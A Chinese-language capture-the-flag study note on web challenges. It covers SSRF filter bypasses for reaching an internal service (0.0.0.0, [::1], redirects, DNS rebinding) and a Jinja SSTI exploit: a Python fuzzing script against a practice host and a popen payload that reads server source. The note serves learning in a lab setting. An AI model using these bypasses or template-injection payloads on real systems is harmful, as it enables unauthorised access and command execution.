# Web进阶2

### 反序列化漏洞

tp5.1.x的反序列化漏洞。

### Python中的安全问题

#### **Python里的SSRF**

发现127.0.0.1被禁用，给了提示

> 尝试访问到容器内部的 8000 端口和 url path /api/internal/secret 即可获取 flag

官方wp给了多种解法

* `0.0.0.0:8000` 绕过

127.0.0.1是本机的环回地址，0.0.0.0代表本机上任何IP地址，因此可以利用0.0.0.0来绕过127.0.0.1的过滤。

* `[::1]:8000` 绕过（需要支持 ipv6)
* 重定向跳转到 `127.0.0.1:8000`
* dns rebinding 输入一个域名，第一次解析到非 `127.0.0.1` 地址上，第二个解析到 `127.0.0.1` 上。

### **SSTI**

没有WAF，fuzz一下popen函数

```
import requests

for i in range(512):
    password = f"%22%22.__class__.__bases__[0].__subclasses__()[{i}].__init__.__globals__"
    url = f"http://1de70960-ff51-4887-b604-2f07b94f49bc.node3.buuoj.cn/?password=" + "{{" + password + "}}"
    print(url)

    payload = {}
    files = []
    headers = {}

    response = requests.request("GET", url, headers=headers, data=payload, files=files)

    if response.text.find('popen') != -1:
        print(i)
        exit(1)
```

fuzz到127，直接读就行。

```
?password={{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__[%27popen%27](%27cat%20/app/server.py%27).read()}}
```
